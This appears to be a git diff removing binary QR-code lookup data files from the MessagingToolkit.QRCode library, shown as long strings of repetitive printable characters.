,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!      }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqropopopopmnmnmnmnnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSSSSSSTSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=<;<;<;<;<;<9:9:9:9::9:9:9:98787878787878787656565656565656543434343434343432121212121212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!      }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqpopopopopmnmnmnmnnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUSTSTSTSTSTSSSSSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9::9:9:9:987878787878787876565656565656565434343434343434321212121212121212121210/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!      }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqropopopopopopopopmnmnmnmnnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>;<;<;<;<;<;<;<;<9:9:9999:9:9:9:987878787878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!             - - - - - - - -         - - - - - - - - - -         - - - - - - - - - - - -         - - - - - - - - - -          - - - - - - - -         - - - - - - - -         - - - - - - - -         - - - - - - - -         - - - - - - - -         - - - - - - - -         - - - - - - - -         - - - - - - - -         - - - - - - - -         - - - - - - - -          - - - - - - - -             - - - - - - - -           - - - - - - - -LLKKJJII - - MMNNOOPP88776655''(())**zz{{||}}YYXWVUTS -@AABBCCDYXXWWVVU01122334tuuvvwwxihhggffe%$$##""! !!""##$deeffgghyxxwwvvu54433221TUUVVWWXEDDCCBBADEEFFGGHUTTSSRRQ BCCDDEEF43322110 hhiijjkkppoonnmm,,++**))]]^^__``~~}}<<;;::99 - - MMNNOOPPLLKKJJII==>>??@@\\[[ZZYY--..//00qqrrssttllkkjjii((''&&%% aabbccddwwvvuutt33445566KJJIIHHGEFFGGHHITSSRRQQP 56677889yzz{{||}dccbbaa` %&&''(()ijjkkllmtssrrqqp0//..--,YZZ[[\\]@??>>==< IJJKKLLMPOONNMML - - GHHIIJJK~/..--,,+#$%%&&''mmnopqrskkjjiihh''&&%%$$ !!bbccddee{{zzyyxx77665544RRSSTTUUGGFFEEDDBBCCDDEEWWVVUUTT22334455vvwwxxyyggffeedd##""!! ""##$$%%ffgghhiimmllkkjj8899??@@FEEDDCCBHHGGFFEE QQRRSSTT44332211++,,--..~~SRRQQPPO - DEEFFGGHUTTSSRRQ 45566778xyyzz{{|eddccbba! $%%&&''(hiijjkkluttssrrq100//..-XYYZZ[[\A@@??>>=HIIJJKKLQPPOONNM - - FGGHHIIJ0//..--,!"#$%%&&llmmnopqllkkjjii((''&&%% aabbccdd||{{zzyy88776655 QQRRSSTTHHGGFFEEAABBCCDDXXWWVVUU11223344uuvvwwxxhhggffee$$##""!!!!""##$$eeffgghhssmmllkk778899??GFFEEDDC IJJKKLLMPOONNMML - - 9::;;<<=}~~`__^^]]\)**++,,-mnnooppqpoonnmml,++**))(]^^__``a~~}}|<;;::998 - - MNNOOPPQLKKJJIIHKLLMMNNO~}}||{{z+**))(('(())**++sttuuvvwggffeedd##""!! ""##$$%%ffgghhiiwwvvuutt33221100VVWWXXYYCCBBAA@@FFGGHHIISSRRQQPP 66778899zz{{||}}ccbbaa``&&''(())jjkkllmmiihhggffAABBCCDDBAA@@??>DDCCBBAAUUVVWWXX00//..--//001122ONNMMLLKHIIJJKKLQPPOONNM - - 899::;;<|}}~~a``__^^]())**++,lmmnnoopqppoonnm-,,++**)\]]^^__`~~}=<<;;::9 - - LMMNNOOPMLLKKJJI JKKLLMMN~~}}||{,++**))(''(())**rssttuuvhhggffee$$##""!!!!""##$$eeffgghhxxwwvvuu44332211UUVVWWXXDDCCBBAAEEFFGGHHTTSSRRQQ 55667788yyzz{{||ddccbbaa %%&&''((iijjkklljjiihhgg@@AABBCCCBBAA@@? - - MNNOOPPQLKKJJIIH=>>??@@A\[[ZZYYX-..//001qrrssttulkkjjiih(''&&%%$ !abbccdde|{{zzyyx87766554 QRRSSTTUHGGFFEEDOPPQQRRSzyyxxwwv'&&%%,,--..//wxxyyzz{ccbbaa``&&''(())jjkkllmmssrrqqpp//..--,,ZZ[[\\]]??>>==<< JJKKLLMMOONNMMLL - - ::;;<<==~~__^^]]\\**++,,--nnooppqqeeddccbbEEFFGGHH=<;:9988@@??>>==YYZZ[[\\~~}}||,,++**))33445566KJJIIHHG - - LMMNNOOPMLLKKJJI <==>>??@]\\[[ZZY,--..//0pqqrrsstmllkkjji)((''&&% `aabbccd}||{{zzy98877665 PQQRRSSTIHHGGFFENOOPPQQR{zzyyxxw(''&&%%++,,--..vwwxxyyzddccbbaa %%&&''((iijjkkllttssrrqq00//..--YYZZ[[\\@@??>>==IIJJKKLLPPOONNMM - - 99::;;<<}}~~``__^^]]))**++,,mmnnooppffeeddccDDEEFFGG?>=<;:99 QRRSSTTUHGGFFEEDABBCCDDEXWWVVUUT12233445uvvwwxxyhggffeed$##""!! !""##$$%effgghhixwwvvuut43322110UVVWWXXYDCCBBAA@ SYYZZ[[\vuuttssm00112233{||}}~~__^^]]\\**++,,--nnooppqqoonnmmll++**))((^^__``aa~~}}||;;::9988 - - NNOOPPQQKKJJIIHH>>??@@AA[[ZZYYXX..//0011rrssttuuaa``__^^ IIJJKKLL77665544~~}}<<;;::99]]^^__``{{zzyyxx((''&&%%778899??GFFEEDDC PQQRRSSTIHHGGFFE@AABBCCDYXXWWVVU01122334tuuvvwwxihhggffe%$$##""! !!""##$deeffgghyxxwwvvu54433221TUUVVWWXEDDCCBBARSSYYZZ[wvvuutts//001122z{{||}}~``__^^]]))**++,,mmnnooppppoonnmm,,++**))]]^^__``~~}}<<;;::99 - - MMNNOOPPLLKKJJII==>>??@@\\[[ZZYY--..//00qqrrssttbbaa``__ HHIIJJKK88776655UVVWWXXYDCCBBAA@EFFGGHHITSSRRQQP 56677889yzz{{||}dccbbaa` %&&''(()ijjkkllmtssrrqqp0//..--,YZZ[[\\]@??>>==< - - \]]^^__`mllkkjji44556677[[ZZYYXX..//0011rrssttuukkjjiihh''&&%%$$ !!bbccddee{{zzyyxx77665544RRSSTTUUGGFFEEDDBBCCDDEEWWVVUUTT22334455vvwwxxyy]]\\[[ZZ - - MMNNOOPP~~}}||{33221100||{{zzyy88776655 aabbccddwwvvuutt@@AABBCCCBBAA@@?TUUVVWWXEDDCCBBADEEFFGGHUTTSSRRQ 45566778xyyzz{{|eddccbba! $%%&&''(hiijjkkluttssrrq100//..-XYYZZ[[\A@@??>>= - - [\\]]^^_smmllkkj33445566~\\[[ZZYY--..//00qqrrssttllkkjjii((''&&%% aabbccdd||{{zzyy88776655 QQRRSSTTHHGGFFEEAABBCCDDXXWWVVUU11223344uuvvwwxx^^]]\\[[ - - LLMMNNOO~~}}|44332211YZZ[[\\]@??>>==< IJJKKLLMPOONNMML - - 9::;;<<=}~~`__^^]]\)**++,,-mnnooppqpoonnmml,++**))(]^^__``a~~}}|<;;::998 `aabbccdihhggffe8899:;<=WWVVUUTT22334455vvwwxxyyggffeedd##""!! ""##$$%%ffgghhiiwwvvuutt33221100VVWWXXYYCCBBAA@@FFGGHHIISSRRQQPP 66778899zz{{||}}YYSSRRQQQQRRSSYY{zzyyxxw//..--,,xxwwvvuu44332211!!""##$$eeffgghhssmmllkkDDEEFFGG?>=<;:99XYYZZ[[\A@@??>>=HIIJJKKLQPPOONNM - - 899::;;<|}}~~a``__^^]())**++,lmmnnoopqppoonnm-,,++**)\]]^^__`~~}=<<;;::9 _``aabbcjiihhggf778899:;XXWWVVUU11223344uuvvwwxxhhggffee$$##""!!!!""##$$eeffgghhxxwwvvuu44332211UUVVWWXXDDCCBBAAEEFFGGHHTTSSRRQQ 55667788yyzz{{||ZZYYSSRRPPQQRRSS|{{zzyyx00//..--]^^__``a~~}}|<;;::998 - - MNNOOPPQLKKJJIIH=>>??@@A\[[ZZYYX-..//001qrrssttulkkjjiih(''&&%%$ !abbccdde|{{zzyyx87766554deeffggheddccbba>??@@AABSSRRQQPP 66778899zz{{||}}ccbbaa``&&''(())jjkkllmmssrrqqpp//..--,,ZZ[[\\]]??>>==<< JJKKLLMMOONNMMLL - - ::;;<<==~~PPOONNMM - -ZZ[[\\]]wvvuutts++**))((ttssrrqq00//..--%%&&''((iijjkklljjiihhggHHIIJJKK88776655\]]^^__`~~}=<<;;::9 - - LMMNNOOPMLLKKJJI <==>>??@]\\[[ZZY,--..//0pqqrrsstmllkkjji)((''&&% `aabbccd}||{{zzy98877665cddeeffgfeeddccb<=>??@@ATTSSRRQQ 55667788yyzz{{||ddccbbaa %%&&''((iijjkkllttssrrqq00//..--YYZZ[[\\@@??>>==IIJJKKLLPPOONNMM - - 99::;;<<}}~~QQPPOONN YYZZ[[\\xwwvvuut,,++**)) !abbccdde|{{zzyyx87766554 QRRSSTTUHGGFFEEDABBCCDDEXWWVVUUT12233445uvvwwxxyhggffeed$##""!! !""##$$%effgghhixwwvvuut43322110hiijjkkla``__^^] -BCCDDEEFOONNMMLL - - ::;;<<==~~__^^]]\\**++,,--nnooppqqoonnmmll++**))((^^__``aa~~}}||;;::9988 - - NNOOPPQQKKJJIIHH>>??@@AALLKKJJII ^^__``aasrqponmm''&&%%$#ppoonnmm,,++**))))**++,,mmnnooppffeeddccLLMMNNOO~~}}|44332211 `aabbccd}||{{zzy98877665 PQQRRSSTIHHGGFFE@AABBCCDYXXWWVVU01122334tuuvvwwxihhggffe%$$##""! !!""##$deeffgghyxxwwvvu54433221ghhiijjkbaa``__^ ABBCCDDEPPOONNMM - - 99::;;<<}}~~``__^^]]))**++,,mmnnooppppoonnmm,,++**))]]^^__``~~}}<<;;::99 - - MMNNOOPPLLKKJJII==>>??@@MMLLKKJJ - - ]]^^__``tssrqpon((''&&%%!""##$$%effgghhixwwvvuut43322110UVVWWXXYDCCBBAA@EFFGGHHITSSRRQQP 56677889yzz{{||}dccbbaa` %&&''(()ijjkkllmtssrrqqp0//..--,lmmssttu]\\[[ZZY - FGGHHIIJKKJJIIHH>>??@@AA[[ZZYYXX..//0011rrssttuukkjjiihh''&&%%$$ !!bbccddee{{zzyyxx77665544RRSSTTUUGGFFEEDDBBCCDDEEHHGGFFEEbbccddeellkkjjii"! llkkjjii((''&&%%--..//00qqrrssttbbaa``__ PPQQRRSS|{{zzyyx00//..-- !!""##$deeffgghyxxwwvvu54433221TUUVVWWXEDDCCBBADEEFFGGHUTTSSRRQ 45566778xyyzz{{|eddccbba! $%%&&''(hiijjkkluttssrrq100//..-kllmmsst^]]\\[[Z - - EFFGGHHILLKKJJII==>>??@@\\[[ZZYY--..//00qqrrssttllkkjjii((''&&%% aabbccdd||{{zzyy88776655 QQRRSSTTHHGGFFEEAABBCCDDIIHHGGFFaabbccddmmllkkjj$#"! %&&''(()ijjkkllmtssrrqqp0//..--,YZZ[[\\]@??>>==< IJJKKLLMPOONNMML - - 9::;;<<=}~~`__^^]]\)**++,,-mnnooppqpoonnmml,++**))(%%&uvvwwxxyYSSRRQQPJKKLLMMNGGFFEEDDBBCCDDEEWWVVUUTT22334455vvwwxxyyggffeedd##""!! ""##$$%%ffgghhiiwwvvuutt33221100VVWWXXYYCCBBAA@@FFGGHHIIDDCCBBAAffgghhiihhggffeehhggffee$$##""!!11223344uuvvwwxx^^]]\\[[ - - YYZZ[[\\xwwvvuut,,++**))$%%&&''(hiijjkkluttssrrq100//..-XYYZZ[[\A@@??>>=HIIJJKKLQPPOONNM - - 899::;;<|}}~~a``__^^]())**++,lmmnnoopqppoonnm-,,++**)%tuuvvwwxZYYSSRRQIJJKKLLMHHGGFFEEAABBCCDDXXWWVVUU11223344uuvvwwxxhhggffee$$##""!!!!""##$$eeffgghhxxwwvvuu44332211UUVVWWXXDDCCBBAAEEFFGGHHEEDDCCBBeeffgghhiihhggff)**++,,-mnnooppqpoonnmml,++**))(]^^__``a~~}}|<;;::998 - - MNNOOPPQLKKJJIIH=>>??@@A\[[ZZYYX-..//001qrrssttulkkjjiih(''&&%%$&''(())*yzz{{||}POONNMML NOOPPQQRCCBBAA@@FFGGHHIISSRRQQPP 66778899zz{{||}}ccbbaa``&&''(())jjkkllmmssrrqqpp//..--,,ZZ[[\\]]??>>==<< JJKKLLMM@@??9988jjkkllmmddccbbaaddccbbaa 55667788yyzz{{||ZZYYSSRR - - ]]^^__``tssrqpon((''&&%%())**++,lmmnnoopqppoonnm-,,++**)\]]^^__`~~}=<<;;::9 - - LMMNNOOPMLLKKJJI <==>>??@]\\[[ZZY,--..//0pqqrrsstmllkkjji)((''&&%%&&''(()xyyzz{{|QPPOONNMMNNOOPPQDDCCBBAAEEFFGGHHTTSSRRQQ 55667788yyzz{{||ddccbbaa %%&&''((iijjkkllttssrrqq00//..--YYZZ[[\\@@??>>==IIJJKKLLAA@@??99iijjkklleeddccbb-..//001qrrssttulkkjjiih(''&&%%$ !abbccdde|{{zzyyx87766554 QRRSSTTUHGGFFEEDABBCCDDEXWWVVUUT12233445uvvwwxxyhggffeed$##""!! *++,,--.}~~LKKJJIIH - - RSSTUVWX??>>==<< JJKKLLMMOONNMMLL - - ::;;<<==~~__^^]]\\**++,,--nnooppqqoonnmmll++**))((^^__``aa~~}}||;;::9988 - - NNOOPPQQ77665544ssttuuvv``__^^]]``__^^]]99::;;<<}}~~QQPPOONNaabbccddmmllkkjj$#"! ,--..//0pqqrrsstmllkkjji)((''&&% `aabbccd}||{{zzy98877665 PQQRRSSTIHHGGFFE@AABBCCDYXXWWVVU01122334tuuvvwwxihhggffe%$$##""!)**++,,-|}}~~MLLKKJJI - - QRRSSTUV@@??>>==IIJJKKLLPPOONNMM - - 99::;;<<}}~~``__^^]]))**++,,mmnnooppppoonnmm,,++**))]]^^__``~~}}<<;;::99 - - MMNNOOPP88776655mmssttuuaa``__^^12233445uvvwwxxyhggffeed$##""!! !""##$$%effgghhixwwvvuut43322110UVVWWXXYDCCBBAA@EFFGGHHITSSRRQQP 56677889yzz{{||}dccbbaa` .//00112HGGFFEED YYZZ[[\\~~}}||;;::9988 - - NNOOPPQQKKJJIIHH>>??@@AA[[ZZYYXX..//0011rrssttuukkjjiihh''&&%%$$ !!bbccddee{{zzyyxx77665544RRSSTTUU33221100%%&&''wwxxyyzz\\[[ZZYY \\[[ZZYY==>>??@@MMLLKKJJeeffgghhiihhggff01122334tuuvvwwxihhggffe%$$##""! !!""##$deeffgghyxxwwvvu54433221TUUVVWWXEDDCCBBADEEFFGGHUTTSSRRQ 45566778xyyzz{{|eddccbba! -..//001IHHGGFFE WXYYZZ[[~~}}<<;;::99 - - MMNNOOPPLLKKJJII==>>??@@\\[[ZZYY--..//00qqrrssttllkkjjii((''&&%% aabbccdd||{{zzyy88776655 QQRRSSTT44332211%%&&vvwwxxyy]]\\[[ZZ56677889yzz{{||}dccbbaa` %&&''(()ijjkkllmtssrrqqp0//..--,YZZ[[\\]@??>>==< IJJKKLLMPOONNMML - - 9::;;<<=}~~`__^^]]\23344556DCCBBAA@]]^^__``{{zzyyxx77665544RRSSTTUUGGFFEEDDBBCCDDEEWWVVUUTT22334455vvwwxxyyggffeedd##""!! ""##$$%%ffgghhiiwwvvuutt33221100VVWWXXYY//..--,,(())**++{{||}}~~XWVUTSSR - - XXWWVVUUAABBCCDDIIHHGGFFiijjkklleeddccbb45566778xyyzz{{|eddccbba! $%%&&''(hiijjkkluttssrrq100//..-XYYZZ[[\A@@??>>=HIIJJKKLQPPOONNM - - 899::;;<|}}~~a``__^^]12233445EDDCCBBA\\]]^^__||{{zzyy88776655 QQRRSSTTHHGGFFEEAABBCCDDXXWWVVUU11223344uuvvwwxxhhggffee$$##""!!!!""##$$eeffgghhxxwwvvuu44332211UUVVWWXX00//..--''(())**zz{{||}}YYXWVUTS -9::;;<<=}~~`__^^]]\)**++,,-mnnooppqpoonnmml,++**))(]^^__``a~~}}|<;;::998 - - MNNOOPPQLKKJJIIH=>>??@@A\[[ZZYYX6778899?@??99887aabbccddwwvvuutt33221100VVWWXXYYCCBBAA@@FFGGHHIISSRRQQPP 66778899zz{{||}}ccbbaa``&&''(())jjkkllmmssrrqqpp//..--,,ZZ[[\\]]~~}}||{{++**))((,,--..//RQQPPOON TTSSRRQQ EEFFGGHHEEDDCCBBmmssttuuaa``__^^899::;;<|}}~~a``__^^]())**++,lmmnnoopqppoonnm-,,++**)\]]^^__`~~}=<<;;::9 - - LMMNNOOPMLLKKJJI <==>>??@]\\[[ZZY56677889A@@??998``aabbccxxwwvvuu44332211UUVVWWXXDDCCBBAAEEFFGGHHTTSSRRQQ 55667788yyzz{{||ddccbbaa %%&&''((iijjkkllttssrrqq00//..--YYZZ[[\\~~}}||,,++**))++,,--..~~SRRQQPPO - =>>??@@A\[[ZZYYX-..//001qrrssttulkkjjiih(''&&%%$ !abbccdde|{{zzyyx87766554 QRRSSTTUHGGFFEEDABBCCDDEXWWVVUUT?@@AABBC76655443eeffgghhssrrqqpp//..--,,ZZ[[\\]]??>>==<< JJKKLLMMOONNMMLL - - ::;;<<==~~__^^]]\\**++,,--nnooppqqoonnmmll++**))((^^__``aazzyyxxww''&&%%00112233NMMLLKKJPPOONNMM - - IIJJKKLLAA@@??99%%&&vvwwxxyy]]\\[[ZZ<==>>??@]\\[[ZZY,--..//0pqqrrsstmllkkjji)((''&&% `aabbccd}||{{zzy98877665 PQQRRSSTIHHGGFFE@AABBCCDYXXWWVVU9??@@AAB87766554ddeeffggttssrrqq00//..--YYZZ[[\\@@??>>==IIJJKKLLPPOONNMM - - 99::;;<<}}~~``__^^]]))**++,,mmnnooppppoonnmm,,++**))]]^^__``{{zzyyxx((''&&%%//001122ONNMMLLKABBCCDDEXWWVVUUT12233445uvvwwxxyhggffeed$##""!! !""##$$%effgghhixwwvvuut43322110UVVWWXXYDCCBBAA@EFFGGHHITSSRRQQP CDDEEFFG3221100/ !"iijjkklloonnmmll++**))((^^__``aa~~}}||;;::9988 - - NNOOPPQQKKJJIIHH>>??@@AA[[ZZYYXX..//0011rrssttuukkjjiihh''&&%%$$ !!bbccddeevvuuttss44556677JIIHHGGF -JKKLLMMNONNMMLLK - - :;;<<==>~_^^]]\\[*++,,--.nooppqqronnmmllk+**))(('^__``aab~~}}||{;::99887 - NOOPPQQRKJJIIHHG>??@@AABIHHGGFFEijjkkllmYXXWWVVU@AABBCCD - NOOPPQQRKJJIIHHG>??@@AAB[ZZYYXXW.//00112rssttuuvkjjiihhg'&&%%$$# !!"bccddeef{zzyyxxw76655443RSSTTUUVGFFEEDDCBCCDDEEFEDDCCBBAmssttuuvUTTSSRRQ DEEFFGGHRSSTTUUVGFFEEDDCBCCDDEEFWVVUUTTS23344556vwwxxyyzgffeeddc#""!! "##$$%%&fgghhiijwvvuutts3221100/VWWXXYYZCBBAA@@?FGGHHIIJA@@??998%%&&'vwwxxyyzQPPOONNM - - HIIJJKKLVWWXXYYZCBBAA@@?FGGHHIIJSRRQQPPO 6778899:z{{||}}~cbbaa``_&''(())*jkkllmmnsrrqqppo/..--,,+Z[[\\]]^?>>==<<; -JKKLLMMN87766554'(())**+z{{||}}~MLLKKJJI - - LMMNNOOPZ[[\\]]^?>>==<<; -JKKLLMMNONNMMLLK - - :;;<<==>~_^^]]\\[*++,,--.nooppqqronnmmllk+**))(('^__``aab~~}}||{;::99887 - NOOPPQQR43322110+,,--../~IHHGGFFE PQQRRSST^__``aab~~}}||{;::99887 - NOOPPQQRKJJIIHHG>??@@AAB[ZZYYXXW.//00112rssttuuvkjjiihhg'&&%%$$# !!"bccddeef{zzyyxxw76655443RSSTTUUV0//..--,/0011223EDDCCBBATUUVVWWX !!"bccddeef{zzyyxxw76655443RSSTTUUVGFFEEDDCBCCDDEEFWVVUUTTS23344556vwwxxyyzgffeeddc#""!! "##$$%%&fgghhiijwvvuutts3221100/VWWXXYYZ~~}}||{,++**))(34455667A@@??>>=XYYZZ[[\"##$$%%&fgghhiijwvvuutts3221100/VWWXXYYZCBBAA@@?FGGHHIIJSRRQQPPO 6778899:z{{||}}~cbbaa``_&''(())*jkkllmmnsrrqqppo/..--,,+Z[[\\]]^{zzyyxxw(''&&%%78899??@~~}=<<;;::9\]]^^__`&''(())*jkkllmmnsrrqqppo/..--,,+Z[[\\]]^?>>==<<; -JKKLLMMNONNMMLLK - - :;;<<==>~_^^]]\\[*++,,--.nooppqqronnmmllk+**))(('^__``aabwvvuutts@AABBCCD}||{{zzy98877665 `aabbccd*++,,--.nooppqqronnmmllk+**))(('^__``aab~~}}||{;::99887 - NOOPPQQRKJJIIHHG>??@@AAB[ZZYYXXW.//00112rssttuuvkjjiihhg'&&%%$$# !!"bccddeefsmmllkkjDEEFFGGHyxxwwvvu54433221 !!""##$deeffggh.//00112rssttuuvkjjiihhg'&&%%$$# !!"bccddeef{zzyyxxw76655443RSSTTUUVGFFEEDDCBCCDDEEFWVVUUTTS23344556vwwxxyyzgffeeddc#""!! "##$$%%&fgghhiijjiihhggfHIIJJKKLuttssrrq100//..-$%%&&''(hiijjkkl23344556vwwxxyyzgffeeddc#""!! "##$$%%&fgghhiijwvvuutts3221100/VWWXXYYZCBBAA@@?FGGHHIIJSRRQQPPO 6778899:z{{||}}~cbbaa``_&''(())*jkkllmmnfeeddccbLMMNNOOPqppoonnm-,,++**)())**++,lmmnnoop6778899:z{{||}}~cbbaa``_&''(())*jkkllmmnsrrqqppo/..--,,+Z[[\\]]^?>>==<<; -JKKLLMMNONNMMLLK - - :;;<<==>~_^^]]\\[*++,,--.nooppqqrbaa``__^ PQQRRSSYmllkkjji)((''&&%,--..//0pqqrrsst:;;<<==>~_^^]]\\[*++,,--.nooppqqronnmmllk+**))(('^__``aab~~}}||{;::99887 - NOOPPQQRKJJIIHHG>??@@AAB[ZZYYXXW.//00112rssttuuv^]]\\[[Z - - -YZZ[[\\]ihhggffe%$$##""!01122334tuuvvwwx>??@@AAB[ZZYYXXW.//00112rssttuuvkjjiihhg'&&%%$$# !!"bccddeef{zzyyxxw76655443RSSTTUUVGFFEEDDCBCCDDEEFWVVUUTTS23344556vwwxxyyzZYYSSRRQ - ]^^__``aeddccbba! 45566778xyyzz{{|BCCDDEEFWVVUUTTS23344556vwwxxyyzgffeeddc#""!! "##$$%%&fgghhiij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Jl|drQt \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv32_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv32_2.dat deleted file mode 100644 index d254d29..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv32_2.dat +++ /dev/null @@ -1,289 +0,0 @@ -}~}~}~}~yzyzyzyzwxwxwxwxststststqrqrqrqrnmnmnmnmjijijijihghghghgdcdcdcdc}~}~}~}~yzyzyzyzwxwxwxwxststststqrqrqrqrnmnmnmnmjijijijihghghghgdcdcdcdc}~}~}~}~yzyzyzyzwxwxwxwxststststqrqrqrqpnmnmmmmmjijijijihghghghgdcdcdcdc}~}~}~}~yzyzyzyzwxwxwxwxststststopopopopmnmnmnmnjijijijihghghghgdcdcdcdc}~}~}~}~yzyzyzyzwxwxwxwxststststopopopopmnmnmnmnjijijijihghghghgdcdcdcdc}~}~}~}~yzyzyzyzwxwxwxwxststststopopopopmnmnmnmnjijijijihghghghgdcdcdcdc}~}~}~}~yzyzyzyzwxwxwxwxststststopopopopmnmnmnmnjijijijihghghghgdcdcdcdc}~}~}~}~yzyzyzyzwxwxwxwxststststopopopopmnmnmnmnjijijijihghghghgdcdcdcdc}~}~}~}~yzyzyzyzwxwxwxwxststststopopopopmnmmmmmmjijijijihghghghgdcdcdcdc}~}~}~}~yzyzyzyzwxwxwxwxststststopopopopnmnmnmnmjijijijihghghghgdcdcdcdc}|{|{|{|yzyzyzyzwvuvuvuvststststopopopoplklklklkjijijijifefefefedcdcdcdc{|{|{|{|yzyzyzyzuvuvuvuvststststopopopoplklklklkjijijijifefefefedcdcdcdc{|{|{|{|yzyzyzyzuvuvuvuvststststopopopoplklklklkjijijijifefefefedcdcdcdc{|{|{|{|yzyzyzyzuvuvuvuvststststopopopoplklklklkjijijijifefefefedcdcdcdc{|{|{|{|yzyzyzyzuvuvuvuvststststopopopoplklklklkjijijijifefefefedcdcdcdc{|{|{|{|yzyzyzyzuvuvuvuvststststopopopoplklklklkjijijijifefefefedcdcdcdc{|{|{|{|yzyzyzyzuvuvuvuvststststopopopoplklklklkjijijijifefefefedcdcdcdc{|{|{|{|yzyzyzyzuvuvuvuvststststopopopoplklklklkjijijijifefefefedcdcdcdc{|{|{|{|yzyzyzyzuvuvuvuvststststopopopoplklklklkjijijijifefefefedcdcdcdc{|{|{|{|yzyzyzyzuvuvuvuvststststopopopoplklklklkjijijijifefefefedcdcdcdcbabababa{|{|{|{|yzyzyzyzuvuvuvuvststststopopopoplklklklkjijijijifefefefedcdcdcdcbabababa{|{|{|{|yzyzyzyzuvuvuvuvststststopopopoplklklklkjijijijifefefefedcdcdcdcbabababa{|{|{|{|yzyzyzyzuvuvuvuvststststopopopoplklklklkjijijijifefefefedcdcdcdcbabababa{|{|{|{|yzyzyzyzuvuvuvuvststststopopopoplklklklkjijijijifefefefedcdcdcdcbabababa{|{|{|{|yzyzyzyzuvuvuvuvststststopopopoplklklklkjijijijifefefefedcdcdcdcbabababa{|{|{|{|yzyzyzyzuvuvuvuvststststopopopoplklklklkjijijijifefefefedcdcdcdcbabababa{|{|{|{|yzyzyzyzuvuvuvuvststststopopopoplklklklkjijijijifefefefedcdcdcdcbabababa{|{|{|{|yzyzyzyzuvuvuvuvststststopopopoplklklklkjijijijifefefefedcdcdcdcbabababa~}~}~}~{|{|{|{|yxwxwxwxuvuvuvuvsrqrqrqropopopoplklklklkhghghghgfefefefebabababababababa}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqropopopoplklklklkhghghghgfefefefebabababa`_`_`_`_}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqropopopoplklklklkhghghghgfefefefebabababa`_`_`_`_}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqropoponmnlklklklkhghghghgfefefefebabababa`_`_`_`_}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrmnmnmmmmlklklklkhghghghgfefefefebabababa`_`_`_`_}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrmnmnmnmnlklklklkhghghghgfefefefebabababa`_`_`_`_}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrmnmnmnmnlklklklkhghghghgfefefefebabababa`_`_`_`_}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrmnmnmnmnlklklklkhghghghgfefefefebabababa`_`_`_`_}~}~}~}~{|{|{|{|